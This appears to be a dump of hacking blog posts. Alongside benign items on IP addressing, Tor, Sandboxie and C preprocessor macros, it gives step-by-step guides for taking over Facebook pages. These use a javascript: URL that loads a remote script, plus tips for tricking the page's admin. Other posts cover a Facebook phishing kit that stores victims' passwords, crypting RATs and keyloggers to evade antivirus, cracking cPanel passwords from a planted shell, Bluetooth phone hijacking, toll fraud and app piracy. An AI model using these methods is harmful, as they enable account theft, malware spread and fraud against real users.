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How to hack facebook page

2013-04-07T22:42:00.003-07:00

Everybody knows facebook .Great platform for marketing and social interaction.Facebook has a feature known as pages. User can create official pages where they can update the latest news related to them and their company . Sometimes my friends ask me how they can hack facebook page . So here is a little work which you can do to hack facebook page.

This tutorial to hack facebook page is working almost 100% . We all know its difficult to hack facebook page but some how this method is working on some pages thus allowing us to hack facebook page easily.
I hope you will be able to hack Facebook page after reading this post.Please do comment share and like this post if the information below is helpful to you.

So Lets begins to hack facebook page

First of all we need to setup an exploit and a website to host the exploit. If you already have a hosting then its great otherwise there are couple of free hosting websites that can be used for such purposes as i have already posted in the link Hack Facebook Account you can go through it and sign up for free web host.
Disclaimer: Coder and related sites are not responsible for any abuse done using this trick.

Steps that you need to follow

1)At first Download the exploit from Here.
2)After downloading the exploit, you need to edit it wit any editor software i suggest notepad++, one of the best editor. You can download it from Here.
3)Open the file named pagehack.js with notepad++. Now find the text wamiqali@hungry-hackers.com by pressing CTRL+F and replace it with your own email id which you have used while signing up for Facebook.
4)Now you have to change the viral text which will be sent to the friends of the victims. To do this, find the textHey See what i got! and replace it with your own text. This text will be sent to the facebook wall of 15 friends of the victim. Since it is an auto-posting bot, to prevent facebook from blocking it, I reduced its capacity to 15. Now just save it as anything.js (Tip: Be social engineer and rename it to something more attractive like getprizes.js or booster.js
5)Now you have to upload this script to your server. For this make an account at 0fess.net or 000webhost.com (t35 or 110mb won’t help this time) and use filezilla and upload this to your root. So the address where your script is uploaded will be as follows:
---------------------------------------------------------------------------------------------
www.yoursite.0fess.net/booster.js
---------------------------------------------------------------------------------------------
6)Now comes the most important part of this Hack. You need to convince the admin of that Fan page to put the following code (Note: Don’t forget to replace the text in bold with the address of your script) in his browser’s address bar and hit enter while he is on Facebook.
---------------------------------------------------------------------------------------------
javascript:(a = (b = document).createElement(“script”)).src = “//www.yoursite.0fess.net/booster.js“, b.body.appendChild(a); void(0)
---------------------------------------------------------------------------------------------
Tip: You can fool him by making him greedy to grab something. You can also encode this in ASCII format for more better results.
Now its done you have successfully hacked the admin of the fan page.
These days many Facebook fan page is getting hacked with this trick.So for all admin be secure you self from these attack this is explained for educational purpose only.
Thank you for reading and please hit like and share this information to hack facebook page and happy hacking.

How to hack facebook page

2013-04-07T22:42:00.001-07:00

So Lets begins to hack facebook page

Steps that you need to follow

how to hack Facebook Id | Account | Password

2013-04-07T22:41:00.001-07:00

Many of friends asking how to hack Facebook id .
As we all know Facebook is one of the world's best social networking site.
And many people are connected through Facebook and some time they are requiring to hack some other account for their personal purpose.
Here We are explaining a simple an easy tutorial how to hack Facebook password.
Before doing all those stuff let be sure about these points:-
In the field of computer security, phishing is the criminally fraudulent process of attempting to acquire sensitive information such as usernames, passwords and credit card details by masquerading as a trustworthy entity in an electronic communication.
Find more about phishing attack here

Facebook Phisher

Please Note:

Phishing is legally offensive. we are not responsible for any action done by you.

Hacking Facebook Account

Phishing is the most commonly used method to hack Facebook.In This technique phishing is used to create a Fake Login Pages, also known as spoofed pages. These fake login pages resemble the original login pages of sites like Yahoo , Gmail, MySpace etc. The victim is fooled to believe the fake facebook page to be the real one and enter his/her password. But once the user attempts to login through these pages, his/her facebook login details are stolen away. I recommend the use of Phishing to hack facebook account since it is the easiest one.
To Become a smart hacker you must have some social engineering skill to make people believe that they are signing to real page.

Here are the detail steps:

step 1: At first download the Facebook phisherhere
step 2:The downloaded file contains:a)Index.html and b)write.php
step 3:Now Upload this two files to any of these free webhost sites:
just sign any of listed site below and get the hosting panel
1)www.000webhost.com
2)www.x10hosting.com
3)www.my3gb.com
step 4:Send this phisher link (index.html link) to your victim and make him login to his Facebook account using your sent Phisher.
step 5: Once the logs in to his Facebook account using Phisher, all his typed Facebook id and password is stored in "passes.txt". This file is created in your webhost control panel as shown below

If you dont get passes.txt, try refreshing your page.Once you get passes.txt, you get Facebook password and can easily use it for hacking Facebook account.
step 6:Now, open passes.txt to get hacked Facebook id and password as shown below.

step 7: Congratulation now you have successfully hacked your's required Facebook account Enjoy.
Thank you for reading please do comment if you like this post and stay connected

Make Free STD calls …

2013-04-07T22:35:00.002-07:00

In India STD call rates are reducing day by day, but still they are not free. So I will explain you How can you make free STD calls. Actually it’s a loophole in Rediff’s ad service and we will try to Exploit it , When you search an ad on Rediff local ads and call the advertiser through Rediff. Rediff will call you first after that it will connect you with the advertiser of that ad. So to exploit this loophole all you need to do is just post one ad on Rediff local ads with your phone number, then search your ads put your friends mobile number, because Rediff will first call your friend whose number you provided and then rediff will call you as a advertiser of that ads.

This trick works for Mobile number’s as well as Landline number’s.
Let’s begin now ….

Step 1 : Open the website of Rediff local ads http://localads.rediff.com into any web browser .

Step 2: Click on “Post Your Ad” (free ) button.

Step 3: Fill the form & don’t forget to enter your Mobile Number. you must post a advertise is something which easily search.

Step 4: Post your ad and Wait for some time , basically it takes maximum 40-45 minutes.

Step 5: it’s time to call your friends ,so Search your ad , provide your friend’s number which you want to call then Rediff will first call to your friend number and then connect to advertiser of that ad ( you ).

Enjoy free calling…..

How to download Android paid application for free

2013-04-07T22:35:00.000-07:00

You simply go to 4shared.com and search for the name of your apps and add ".apk". The following video is a walk through of a guy doing just that. He is funny so watch it for fun at least!

And for further post please visit on ....

Site Restoration Tutorial

2012-10-21T04:31:00.000-07:00

As all you might already know Independence day is just a few days away.

And we know for a fact that certain people will be attacking and defacing Indian sites .And this tutorial is aimed at helping you in restoring a hacked site.I am not gonna explain everything fully cause it will become TOO BIG ,I will just point you in the right direction :) )

Note: This is NOT a tutorial for webadmins this is for the hackers who are interested in restoring a site (As this TUT considers the reader had 0 permission when they start )

Also some the methods I would be suggesting will be fairly aggressive so if you don't agree with me your free to close this page :D

1. GET BEHIND A FREAKING VPN !!

Yes its true that your just trying to help but that does not mean that you should expose yourself

The site admin is not gonna care who you are ,if they are gonna complain to the cyber police they are gonna give them ALL THE LOGS. And all you know that India's "Cyber Police" are mostly skids and noobs ,and they will put the blame YOU cause you will be easier to arrest than a person from an another country

This is the sad truth ACCEPT it , DO NOT expect fame and glory for what your gonna do

2. Know what you are dealing with

Before you start there are a few questions you should ask yourself

Is this site worth my time ?

Always give priority to the major sites first,only go to the smaller sites when your done with the the major ones.
Is it a Index deface or just www.site.com/hackpage.html ?If its the second one then its a low priority hack

Is the site in a dedicated or shared server ?

Knowing which type makes all the difference

Does it look like the hacker rooted it ?

When its shared hosting and mass defacing has been done then its probable that the server has been rooted

3. Gain access

First thing to do is to see if the hacker had left behind any shells

places to look are

/image /admin/ /themes/ /cgi/ etc... If you cant find manually

Here is a good plugin for Uniscanner --> http://uniscan.sourceforge.net/?p=161

Cant Find shell ? its ok ,proceed to next step

Now look into all the application level vulnerabilities

i.e XSS, RFI , LFI , SQLi --> most common

Figure out how the hacker got in and exploit the site using the same method

Still NOTHING?

If this does not work ,look on all the ports and see if the server is running a outdated/vulnerable service

And gain system privileges through exploiting the service

Somehow get a shell or a backdoor up

Don't forget that if the attacker found a way to get in YOU CAN TOO !! :D

4. Removing Backdoor's

First before you restore you have to make sure that you remove ALL backdoor's left by the hacker.

Same as last time you can make sure that you remove all the shells using multiple methods

http://uniscan.sourceforge.net/?p=161

http://25yearsofprogramming.com/blog/2010/20100315.htm

http://ketan.lithiumfox.com/doku.php?id=phpshell_scanner

http://25yearsofprogramming.com/php/findmaliciouscode.htm

https://github.com/Neohapsis/NeoPI

Note: some of these need you to install a few dependencies

If you have access to terminal you can use this

 grep -RPl --include=*.{php,txt,asp} "(passthru|shell_exec|system|phpinfo|base64_decode|chmod|mkdir|fopen|fclose|readfile) *\(" /var/www/

The above command says:

Check files with extensions php or txt or asp only. You can add in more.
The pattern matching strings would be "passthru", shell_exec and so on. You can add/remove patterns.
The directory from where a recursive search has to be started. In this case it is /var/www/

5. The actual Restoring

See if the hacker has renamed the original index file as index1.php or indexold.php etc

Then its just a matter of removing the deface file and renaming the original (also make a backup to be safe)

If you cant see the original files then will have to use data recovery methods (need escalated privileges)

http://www.linuxforu.com/2011/09/recover-deleted-files-in-linux/

If all these methods fail then replace the index with a blank white page or a "Maintenance" page

6.Prevent future attacks on the server

Now that you know the method the attacker used to gain access you should start to fill up the security holes

A few tips:
If the server was rooted then update kernel and change the root user password and remove all new added accounts

Firewall:
If it is a shared server and lots of sites are vulnerable to sql injection then I suggest installing an uptodate WAF to keep away the skids (there is still a possibility that it can be bypassed )

Some of recommended WAF's
http://www.modsecurity.org/download/
http://www.aqtronix.com/?PageID=167 --> IIS

Admin Page's:

If the admin page is vulnerable to shell upload then rename the admin login file to something like "randomtextadminpage1231ew8712.php/.html" to stop the attacker from entering the site again

Trolling the hacker:

Most of the times Index files are like this
IIS: default.asp/.aspx
Apache:Index.php/.html

But this is easily changeable in Apache by editing the .htaccess file
http://www.javascriptkit.com/howto/htaccess6.shtml

So you can make the index file as something like 12d9au.html so when the attacker replaces the index.php/.html file the site will still load our 12d9au.html as the default file :D

99% of attackers will go mad trying to figure it out XD ROFL
Dont forget to leave a .txt file with all the vulnerabilities so that the site admin can read it (he/she is the only one who can fix it permanently)

And if you ever fail in restoring a site then dont worry it is not a shame to you or your country ... ALL THE BLAME GOES TO THE ADMIN

------------------------------------------------------------------------------------------------------------

PS: Please point out in the comments if you think something needs to be corrected or added to this tutorial (it would be awesome if you provide exact text) as we should all work together to protect OUT cyber space

Re FUD using CliSecure and Amuse Crypters

2012-10-20T04:30:00.000-07:00

In World of crypting and Encoding & Fud'ing You need to learn new things everyday
Let me give you an Basic Information

There are mainly two type of FUD :-
1) FUD scantime :- Bypass AV while Scanning
2) FUD Runtime :- Bypass AV file at Time of Execution

In Todays Demo there are three Steps
Lets Begin ;)

1. Making an Windows Platform Keylogger/RAT/ Botnet or Malware :P
Tools like Darkcommet, Prorat , Istealer, cybergate etc will help you.. This tutorial is mainly for FUDing so lets skip this part :))

2. Crypt it with some good free crypter like : Amuse Crypter

Sometime ,sandboxie restrict it.You may run without sandboxie,the best way

(make sure you have system restore such as deepfreeze)

By here now, Your Malware is simply crypted, it wont be FUD so as last step will do the needful.

Download : AmuseCrypter

3. Refud by some Good Re-FUDing tool : CliSecure

Download Clisecure

:Video Tutorial:

AFTER REFUD: Results

Report Date: 07.07.2012 07:07:31
Link To Scan: http://elementscanner.com//?RE=48eba8d1a81a6b19250781fa26af4215
File Name: vv.Exe
File Size: 5574144 bytes
MD5 Hash: 239da3678465ef76efe70a7beb1a4743
SHA1 Hash: e41d94cf7d83f83073ee8f319cb99634c8dcd85b
Status: Infected
Total Results: 1/35
AVG Free - Clean
ArcaVir - Clean
Avast 5 - Clean
AntiVir (Avira) - TR/Dropper.Gen
BitDefender - Clean
VirusBuster Internet Security - Clean
Clam Antivirus - Clean
COMODO Internet Security - Clean
Dr.Web - Clean
eTrust-Vet - Clean
F-PROT Antivirus - Clean
F-Secure Internet Security - Clean
G Data - Clean
IKARUS Security - Clean
Kaspersky Antivirus - Clean
McAfee - Clean
MS Security Essentials - Clean
ESET NOD32 - Clean
Norman - Clean
Norton Antivirus - Clean
Panda Security - Clean
A-Squared - Clean
Quick Heal Antivirus - Clean
Rising Antivirus - Clean
Solo Antivirus - Clean
Sophos - Clean
Trend Micro Internet Security - Clean
VBA32 Antivirus - Clean
Vexira Antivirus - Clean
Zoner AntiVirus - Clean
Ad-Aware - Clean
BullGuard - Clean
Immunet Antivirus - Clean
K7 Ultimate - Clean
VIPRE - Clean

AFTER REFUD

Computer Virus Classified

2012-10-19T04:30:00.000-07:00

No matter how careful you might be, chances are, at one time or another, you will find your computer infected with a virus. If you are a frequent Internet user and you often download videos, music and other files from online, the chances of you picking up a trojan, worm, or other virus are almost assured. Thankfully, there are many great virus protection programs but that doesn’t mean you shouldn’t have an idea of some of the common computer viruses that are currently going around.

1. Encrypted Viruses – The encrypted virus is probably the most difficult kind of bug to detect and the most difficult to stop. You may accidentally have downloaded one of these bugs and before you know it, your entire computer can be infected. Many top virus protection programs miss encrypted viruses because these bugs use a different form of encryption every time. When the bug wants to run wild, it decrypts itself. In most cases, your virus protection can then identify it and stop it.

2. Secret Viruses – These types of viruses will make changes to files on your computer, or completely replace files, but then try to trick your computer and your anti virus program into thinking that the originals are being used. Most advanced virus protection programs can stop these common computer viruses dead in their tracks.

3. Time Delay Viruses – These types of viruses take a much slower, more disciplined path towards ruining your computer. Instead of instantly trying to take over your computer the moment you download them, they will wait and slowly infect files bit by bit. You may not have been online for days but then suddenly find yourself with an infection. These common computer viruses are the reason why you should run your virus protection every few days, just in case.

4. The Anti-Virus Virus – Believe it or not, there are viruses out there that do nothing more than attack your pre-installed anti virus program in hopes of disabling it so other viruses can then be downloaded. This is why many people have a virus protection program as well as a separate anti-spyware or anti-malware program on their computer.

5. The Multi-Headed Virus – This is one of the most nefarious bugs on the whole Internet. Not only are there parts of this virus that will attach themselves to .exe files on your computer, but it will also affect your computer’s start up so that you begin running the virus every time you turn your computer on automatically.

6. The Misdirection Virus – This type of virus is downright scary. It has a built in subprogram that is made to give false readings to your virus protection software. You think you have a bug in one directory, when, in fact, the virus is busy harming your computer in a whole other area.

7. A Cloning Virus – The cloning virus is an old fashioned type of bug. When you download it, it will quickly create duplicates for .exe files you have on your computer, hoping that you’ll click on it when you really mean to click on a healthy program you already have.

8. The Author Virus – When you download a virus, it usually attaches itself to a program and then runs when you run that program. The Author Virus, on the other hand, finds an .exe file and actually deletes and rewrites code so that the program is changed. Few common computer viruses run this way since the level of virus needs to be so sophisticated.

9. The Bad Penny Virus – The very first computer virus to ever hit the Internet was a Bad Penny virus. This is a bug that automatically passes itself on to everyone on a network or on the Internet unless something stops it. This was the whole reason why firewalls were invented.

10. When most of us think of viruses, we think of PC’s running Windows software. However, there are a handful of bugs out there for the Mac.

11. Rewriting Virus – This bug made a habit out of rewriting some of your most needed files, as well as filling up your hard drive with all sorts of invisible files you couldn’t normally see.

12. The Melissa Virus – This was a bug that hit everyone, both PC users and Mac users. It would automatically email itself to other people without permission. It can be extra harmful if you use a private mail server at your place of employment. The Melissa virus has gone down in history as one of the most common computer viruses of all time.

Thanks to : www.TopChoiseReview.com

How to Disable Error Report In Window

2012-10-18T04:29:00.000-07:00

Hey to all friends today i am going to post about how can you disable error report in windows xp and vista.

Microsoft’s Error Reporting in windows sometimes is disturbing, most of us don’t want to send that error report because it’s of no use.
There’s an easy way to disable Microsoft error report in windows.

Disable Microsoft Error report in Windows XP :

1) Open Control Panel (Start > Control Panel)
2) Open the Problem Reports & Solutions applet Under advanced options and disable error reporting.

Disable Microsoft Error report in Windows Vista :
1) Right click on my computer (Desktop) and click properties
2) Click the Advanced Tab
3) You’ll see a “Error reporting” button at the bottom, click it
4) Select Disable Error Reporting.

And That's It Now you’re done….!

Stay Updated, Stay Protected :))

Private and Public IP Addresses Explained

2012-10-17T02:30:00.000-07:00

Internet Protocol addresses are usually of two types: Public and Private.

If you have ever wondered to know what is the difference between a public and a private IP address, then you are at the right place. In this post I will try to explain the difference between a public and a private IP addres in layman’s terms so that it becomes simple and easy to understand.

What are Public IP Addresses?

A public IP address is assigned to every computer that connects to the Internet where each IP is unique. Hence there cannot exist two computers with the same public IP address all over the Internet. This addressing scheme makes it possible for the computers to “find each other” online and exchange information. User has no control over the IP address (public) that is assigned to the computer. The public IP address is assigned to the computer by the Internet Service Provider as soon as the computer is connected to the Internet gateway.

A public IP address can be either static or dynamic. A static public IP address does not change and is used primarily for hosting webpages or services on the Internet. On the other hand a dynamic public IP address is chosen from a pool of available addresses and changes each time one connects to the Internet. Most Internet users will only have a dynamic IP assigned to their computer which goes off when the computer is disconnected from the Internet. Thus when it is re-connected it gets a new IP.

You can check your public IP address by visiting www.whatismyip.com

What are Private IP Addresses?

An IP address is considered private if the IP number falls within one of the IP address ranges reserved for private networks such as a Local Area Network (LAN). The Internet Assigned Numbers Authority (IANA) has reserved the following three blocks of the IP address space for private networks (local networks):

10.0.0.0 – 10.255.255.255 (Total Addresses: 16,777,216)
172.16.0.0 – 172.31.255.255 (Total Addresses: 1,048,576)
192.168.0.0 – 192.168.255.255 (Total Addresses: 65,536)

Private IP addresses are used for numbering the computers in a private network including home, school and business LANs in airports and hotels which makes it possible for the computers in the network to communicate with each other. Say for example, if a network X consists of 10 computers each of them can be given an IP starting from 192.168.1.1 to192.168.1.10. Unlike the public IP, the administrator of the private network is free to assign an IP address of his own choice (provided the IP number falls in the private IP address range as mentioned above).

Devices with private IP addresses cannot connect directly to the Internet. Likewise, computers outside the local network cannot connect directly to a device with a private IP. It is possible to interconnect two private networks with the help of a router or a similar device that supports Network Address Translation.

If the private network is connected to the Internet (through an Internet connection via ISP) then each computer will have a private IP as well as a public IP. Private IP is used for communication within the network where as the public IP is used for communication over the Internet. Most Internet users with a DSL/ADSL connection will have both a private as well as a public IP.

You can know your private IP by typing ipconfig command in the command prompt. The number that you see against “IPV4 Address:” is your private IP which in most cases will be 192.168.1.1 or 192.168.1.2. Unlike the public IP, private IP addresses are always static in nature.

Unlike what most people assume, a private IP is neither the one which is impossible to trace (just like the private telephone number) nor the one reserved for stealth Internet usage. In reality there is no public IP address that is impossible to trace since the protocol itself is designed for transparency.

Anonymous & Portable Browser TOR

2012-10-16T02:28:00.000-07:00

What is Tor?Tor is free software and an open network that helps you defend against a form of network surveillance that threatens personal freedom and privacy, confidential business activities and relationships, and state security known as traffic n analysis

Why Anonymity Matters
Tor protects you by bouncing your communications around a distributed network of relays run by volunteers all around the world: it prevents somebody watching your Internet connection from learning what sites you visit, and it prevents the sites you visit from learning your physical location. Tor works with many of your existing applications, including web browsers, instant messaging clients, remote login, and other applications based on the TCP protocol.

How TOR works and Its Screenshot:-

Using Tor protects you against a common form of Internet surveillance known as "traffic analysis." Traffic analysis can be used to infer who is talking to whom over a public network. Knowing the source and destination of your Internet traffic allows others to track your behavior and interests. This can impact your checkbook if, for example, an e-commerce site uses price discrimination based on your country or institution of origin. It can even threaten your job and physical safety by revealing who and where you are. For example, if you're travelling abroad and you connect to your employer's computers to check or send mail, you can inadvertently reveal your national origin and professional affiliation to anyone observing the network, even if the connection is encrypted.

To download TOR Click HERE.

1. Click On Your Platform
2. Click on Download which is infront of " TOR Browser Bundle "

Thank you For Your Precious Visit.

how to create strong and secure passwords

2012-10-15T02:26:00.000-07:00

At present we need a password or PIN for every almost every online activity and strong password is very important, as every users wants to protect their personal files, information & other data and avoid hackers from getting into their accounts.

However, not everyone can come up with a nice strong password, which is why we have compiled a list of two online tools that help users to create strong and unpredictable passwords

1. Make Password

"Make Password" is a Web application that help users to generate strong password, for Social networks, email ID etc

The PIN or Codes generated by "Make Passwords" is generated on Random basis and are not stored anywhere.

You can select the “Password Strength” option, which displays the strength of the password generated, in a range of 0 – 100 (with above 75 are Strong).

Once the user can picked out all the options, just click “Make Password(s)” and the passwords will be displayed in "Plain text" "Web page" or in "CSV" file.

2. Password Bird

"PassWord Bird" is an Best and Recommended Webapp for Creating secure password related with your name, your Special thing, Special Date etc :)

Just as you provide special words, names, dates etc it will instantly create an Secure Combination for you. You can select "make new one: to generate new unique password on random basis.One thing to note is that the website don't use any special symbols (! @ # $ % & * ), But it uses upper and lower case and Numbers in generating 'Secure Password'So now onwards if you want to change your password, or want to keep your data secure. Use these Webapps to create some of the most 'Secure Combinations' :)) Cheers ~~There are plenty of service like Free Password Generator. You can even use them but recommended is to use from given above.

About The Author : This post was written by Mr. Harsh Daftary

Harsh is an Ethical Hacker and Founder on Security Labs

Cpanel Hacking/Cracking Tutorial

2012-10-14T02:23:00.000-07:00

Today we will Learn CPANEL cracking or Hacking i.e gaining password for port no 2082 on website first of all we need a cpanel cracking shell on the server because we are going to crack those websites cpanels which are hosted on the shelled server.

so lets start i am using cpanel.php [download it here]shell for cracking :) we need two things in cracking first one is usernames of the websites that are hosted on the server second is a good password dictonery [Get Passwords List Here]

so

 in first step :-
 grab the usernames of the websites using command ls /var/mail
 or use the "Grab the usernames from /etc/passwd" option in the shell

press the go button
  we have done from our side
  lets wait and watch ,if we have supplied good passwords then shell will show a message 
   " [~]# cracking success with username "xyz" with password "xyz"   "
  otherwise it will show 
   "[~] Please put some good passwords to crack username "xyz" :( "

  so chances of success depends on password list that we are using in cracking process

[GUEST POST]

How to Get Source Files from Website

2012-10-13T02:29:00.000-07:00

How to Get Source Files from Website.
Okay, from time to time, we need to get websites source for some reason.
A very easy tutorial. so lets start

Step 1: Download Wget from HERE

And put it on the root of your operating system, most people have "C" So go there and

make a new folder called wget. Inside only put the DOS command file.

Note: Click on Image to enlarge

Step 2: Open Command Box
In XP go to run and put CMD or command.com
In vista/7 Search for CMD and right click open as Administrator.

Step 3: In Cmd put "cd C:\wget"

No quotes and if your main drive is not C put it as your main drive.

Post this command "wget -r -A.jpg" See how it says .jpg, you can make it the extension your trying to get. Right now it would take any file with the extension .jpg and download it. If you changed the command to your need

Step4 No certificate Check

Now after that you can space once and put the website or link/server you want to take from.

It will check for safety and certificates

You Can Put --no-check-certificate

to Avoide it

Step 5: Now you're set !!

Just press enter and watch the magic happen. You can use multiple wget at a same time.

Step 6: Get Your Files

Now just go to the wget folder on C and open it. There should be a new folder of the website in there. Click on it and thats the files.

You will get all your downloded files in the same folder

Actual Working Of Code is like this :-

Code:
wget http://www.securitylabs.in

The file will be saved in /home/[user name]

NOTE: It will download just html, javascript etc... stuff like PHP won't be downloaded.

If you want to spider an entire website you can do this:

Sandboxie - Run Your Programs In An Isolated Space

2012-10-13T02:27:00.001-07:00

Sandboxie runs your programs in an isolated space which prevents them from making permanent changes to other programs and data in your computer.

What is Sandboxie?

Sandboxie is very useful to check whether or not a program is infected, you can also use it to test out your botnet. Sandboxie runs your programs in an isolated space which prevents them from making permanent changes to other programs and data in your computer. Observe the animation below.

Benefits of the Sandboxie

Secure Web Browsing: Running your Web browser under the protection of Sandboxie means that all malicious software downloaded by the browser is trapped in the sandbox and can be discarded trivially.

Enhanced Privacy: Browsing history, cookies, and cached temporary files collected while Web browsing stay in the sandbox and don't leak into Windows.

Secure E-mail: Viruses and other malicious software that might be hiding in your email can't break out of the sandbox and can't infect your real system.

Windows Stays Lean: Prevent wear-and-tear in Windows by installing software into an isolated sandbox.

Download Sandboxie From Their Official Website

Using Sandboxie

Open Sandboxie: Start > All Programs > Sandboxie > Sandboxie Control

Sandboxie Control > Sandbox menu

Run File: Right-Click Suspected File > Run Sandboxed

Observe Folders: Sandbox Default Box > All files and Folders

You can disable the program from accessing the internet, navigate to Sandbox settings for the option.

Note: Keep in mind that if you receive any error, and your program is unable to run in Sandboxie, it is most likely that it's a virus and has implemented Anti-Sandboxie. DO NOT RUN IT OUTSIDE SANDBOXIE!

You can tell that a program is sandboxed because its window title bar contains additional Sandboxie [#] indicators

Once you are done with Sandboxie, Right-Click on the Sandbox and chose Terminate Programs. Also remember to empty your SandBox after every use by Right click > Delete Contents.

So use Sandboxie to run programs in a “safe” environment
Stay updated, stay Protected.

Bluetooth Hacking : control Your Friend's Mobile Using Bluetooth

2012-10-13T02:22:00.002-07:00

Magic blue hack is Free mobile Bluetooth hacking software developed for j2me(Java S40) based handsets. By using this Software You can Hack and Gain almost full acess of victim's Mobile. hack you can gain almost full control over the victim phone.

Installation and setup of magic blue hack is quite easy, hope you all knows how to install a software in mobile phone, you need run this java application in Your phone
To connect to the other phone you need to run magic blue hack and search for the devices. Then select the target device you want to hack. Whats really sad about this application is that it asks the victim to accept the incoming connection, so it’s not really a hack in true sense of the word.
You can even make phone calls; put the call on hold or hang of the phone. Just enter the phone number you need to call and press the call button.
To send sms just enter the phone number of the person you want to send sms and write your text in the text box and then click the send message button. The charges for sending the sms will deducted from the hacked device.
Reading the phone book of the victim phone is also very easy but in some phones specially symbian, this feature is not working correctly and the new release of magicbluehack may solve this problem.

Despite being the intruder of privacy magic blue hack can't exactly be called as a hacking software as there is need for the victim to accept the incoming connection but hacking means bypassing the security parameters and sneak into the device without the owner even knowing about it. It should rather be put as toy software rather than hacking software.

Download Magic Blue Hack

Jar File || jad File

Right Template for Your Blog

2012-10-10T22:33:00.001-07:00

More and more blogs are being created day by day, some withstand the test of time while some wither and die or just fade away. To prevent your blog from fading away, obviously you’ve got to provide quality and great content. Despite the importance of content, the look and feel of a blog also helps a lot in attracting
followers and having them always come back for more.

As one is new to the blogosphere, you feel satisfied with the default blogger templates. But as time goes on, you discover other blogs with cooler templates and the need to have a nice look for your blog. There are thousands of awesome templates out there and if you do not have a clear view of what you want, you’ll simply be faced with indecision or end up making the wrong choice.
In this post, I’ll be giving you some tips in choosing a blog template that suits the topic of your blog. I, as an individual, have tried out quite a number of blogger templates till date before I finally settled with the current one. Here are a few things I took into consideration:

1. What is the purpose of your blog or what niche are you targeting

Is your blog a technology blog, a fashion blog, music, entertainment, gossip, lifestyle or any other specific category? By identifying your niche, you are a step closer to choosing that killer template.

2. What kind of message do you want to send?

By following the first step above i.e. identifying your niche, you already have an insight as to what you want your blog to look like. Do you want it to have a
formal, semi-formal or casual feel? You could also pick a color that you’ll prefer it to be. A 2-columned blog, 3-columned etc. Noting down these little details,you should already have a clear picture of what you want.

As long as you’ve followed the steps above, and you’ve got your jottings, selecting that perfect template will be far much easier and you’ll surely choose one that has the exact look and feel that your blog needs.
Follow these steps and I can assure you that you’ll definitely appreciate it.

define in c Tutorial 2

2011-10-14T11:40:00.000-07:00

c preprocessor (Part 2)

3.# undef
suppose you have something like this..

01# define x 4
02 
03# define x 5
04 
05int main(){
06 
07int z=x;
08 
09printf("%d",x); // output 5
10 
11}

although the output is 5 you can’t trust these type of declarations.If you want to redefine the same macro then first undefine it using #undef
correct way of doing

01# define x 8
02 
03# undef x // x is now unknown to compiler
04 
05# define x 9 // x is 9 now
06 
07int main()
08{
09 
10int z = x;
11 
12printf("%d",z); // output 9
13 
14}

so if you have your own macros and you are in doubt that their names can conflict with the macros defined in header files then first use # undef to undefine these macros.

1# undef conflictingname // undefining macro conflictingname in a headerfile.
2 
3# define conflictingname
4 
5int main()
6{
7// do some stuff here
8}

1# undef anyname // not an error
2int main()
3{
4// do some stuff here
5}

4.# pragma
The directive is a compiler specific directive which compiler vendors may provide .

1# pragma GCC poison x //variable cannot be used
2 
3int main(){
4 
5/*error x is poisoned .It cannot be used anywhere in GCC compiler system.*/
6 
7int x;
8 
9}

here GCC poison is called pragmas.Remember these are compiler dependent.
So GCC poison will not work on microsoft compilers (will not give an error).You have to read manual of the compiler.
Predefined macro

1_LINE_
2_FILE_
3_TIME_
4_DATE_
5__STDC__

working example

`01`	`# define _LINE_ 98 // error predefined cannot be redefined`

`02`	`int` `main()`

03 {

`04`	`// note this is __ not _`

`05`	`printf("%d\n",__LINE__);` `// will output current line number`

`06`	`printf("%s\n",__FILE__);` `// file name`

`07`	`printf("%s\n",__DATE__);` `// date of execution`

`08`	`printf("%s\n",__TIME__);` `// time of execution`

`09`	`printf("%d\n",__STDC__);` `// Whether the compiler is standard conforming (1) or not`

10 }

Text to Image Converter tool

2011-10-12T20:31:00.000-07:00

office Convert Word Txt to Image Jpg/Jpeg Free is a powerful and professional conversion tool, the converter produces fully functionalIMAGE documents with text, pictures, graphics etc, using the original document formatting.It can Create popular image formats as JPG,BMP,GIF,TIF,TGA,RLE,PNG,EMF,WMF from dozens of documents as Word (doc,docx,docm) rtf , Excel (xls,xlsx,xlsm), PowerPoint (ppt,pptx,pptm),txt with retaining the original style. More professional and easier interface is adaptable to everyone. You must like it as soon as you use it.

Download office Convert Word Txt to Image for Brothersoft

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define in c Tutorial 1

2011-10-12T12:28:00.000-07:00

# define a.k.a c preprocessor (Part 1)
The term can be little bit daunting but its use is very simple.It is a separate program invoked by the compiler as the first part of translation.The preprocessor can be thought as a smart editor.It Inserts,excludes,replaces text based on commands supplied by the programmer.In this case commands are made a permanent part of the source program

01/***** All are pre processor commands *****/
02# include 
03# define pi 3.14
04# undef pi
05 
06/*******************************/
07int main()
08{
09// do sum stuff here
10}

for time being do not bother what these commands do.Just see how they are used in the source program.
They are many more commands .we will see them one by one.

1) # include
The most common use of preprocessor is to include files containing declarations(header files).
#include contains declarations of all the functions used for input output.
# include will be replaced by the contents of filename.h
Ques: i have seen #include “filename.h” at many places.Is there any difference between the two?
yes there is one.
angled brackets means the preprocessor will search filename.h in standard include directory.
in my case it will be C:\Dev-Cpp\include.
if you have your file in any other location then you must specify the full path
for eg if location of file that i want to include is at “d:\folder1\filename.h” then i will write

`1`	`# include "d:\folder1\filename.h"`

That is all for #include
2. # define
This is also the most widely used command plus it is risky too.
it can be used in two ways
a) to define a constant (replacement macro)
b) to simulate a function (function like macro)
first lets see a)

01# define x 123
02 
03# define y "hey"
04 
05int main(){
06 
07int i=x; //int  i=123
08 
09float j=x; // j is now 123.000000
10 
11x=5; // invalid x cannot be changed
12 
13printf(y); //
14 
15printf("%s",x);// undefined behavior
16 
17printf("%d",x);//valid
18 
19}

actually everywhere where x will appear it will be replaced by its corresponding replacement text

01# define x 123;
02 
03# define y while
04 
05int main()
06{
07 
08int i=x // valid it is equivalent to int i=123;
09 
10int a=0;
11 
12y(a<5){ //equivalent to while(a<5)
13 
14a++;
15 
16}
17 
18}

one last thing and that is very important

01# define x 10
02 
03# define y x+1 // must be # define y (x+1)
04 
05int main()
06{
07 
08int z =y*3; // equivalent to x+1*3 ==>10+1*3
09 
10printf("%d",z);// expected result 33 . Actual result 13 !
11 
12}

so always use parenthesis according to your precedence
lets look at b)
i.e how to simulate a function
simple protoype

1# define macro_name(parameter_list) (token expression)
2 
3//examples//
4# define square(x) (x*x) // there must be no space between -> macro_name and ( <-
5# define square (x)(x*x) // it is not a function like macro.It is a replacement macro

1# define square(x) (x*x) // 1st macro
2 
3int main(){
4 
5int area,length=5;
6 
7area = square(5); // 1st macro equivalent to area = (5*5)
8 
9}

1#define CALL(a, b) a b // macro
2int main(){
3 
